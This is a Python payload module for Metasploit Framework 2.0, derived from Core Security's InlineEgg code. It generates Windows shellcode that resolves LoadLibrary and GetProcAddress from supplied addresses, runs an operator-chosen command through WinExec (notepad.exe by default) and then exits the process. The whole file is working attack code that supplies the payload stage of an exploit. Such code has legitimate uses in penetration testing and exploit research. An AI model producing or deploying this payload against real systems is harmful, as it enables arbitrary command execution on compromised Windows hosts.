#!/usr/bin/env python
#--
# Copyright (c) 2002,2003 Core Security Technologies, Core SDI Inc.
# All rights reserved.
#
#    Unless you have express writen permission from the Copyright Holder, any
# use of or distribution of this software or portions of it, including, but not
# limited to, reimplementations, modifications and derived work of it, in
# either source code or any other form, as well as any other software using or
# referencing it in any way, may NOT be sold for commercial gain, must be
# covered by this very same license, and must retain this copyright notice and
# this license.
#    Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THERE IS NO WARRANTY FOR THE SOFTWARE, TO THE EXTENT PERMITTED BY APPLICABLE
# LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
# OTHER PARTIES PROVIDE THE SOFTWARE "AS IS" WITHOUT WARRANTY OF ANY KIND,
# EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE
# ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE IS WITH YOU.
# SHOULD THE SOFTWARE PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY
# SERVICING, REPAIR OR CORRECTION.
#
# IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
# ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
# THE SOFTWARE AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
# GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
# OR INABILITY TO USE THE SOFTWARE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR
# DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR
# A FAILURE OF THE SOFTWARE TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
# HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
#
# gera [at corest.com]
#--


##
# Modified to work as an external payload for Metasploit Framework 2.0
##

from WindowsSyscall import *
from inlineegg import *
import socket
import struct
import sys

def Egg(opts):

    if not opts.has_key("LL") or not opts.has_key("GP"):
        return

    opts['LL'] = int(opts['LL'])
    opts['GP'] = int(opts['GP'])

    if not opts.has_key("CMD"):
	opts["CMD"] = "notepad.exe"
	
    cmd = opts["CMD"]
    
    egg = InlineEgg(WindowsSyscall)
    egg.addCode(egg.syscall.remember('kernel32.dll.LoadLibrary',opts['LL']))
    egg.addCode(egg.syscall.remember('kernel32.dll.GetProcAddress',opts['GP']))
    egg.addCode(egg.syscall.syscall('kernel32.dll','WinExec',(cmd,5))[0])
    egg.addCode(egg.syscall.syscall('kernel32.dll','ExitProcess',(0,))[0])
    
    return egg


def main():
     opts = {}
     for o in sys.argv[1:]:
         x = o.split("=")
         if len(x) == 2:
             opts[x[0]] = x[1]
     egg = Egg(opts)
     if egg != None:
         sys.stdout.write(egg.getCode())
         
main()
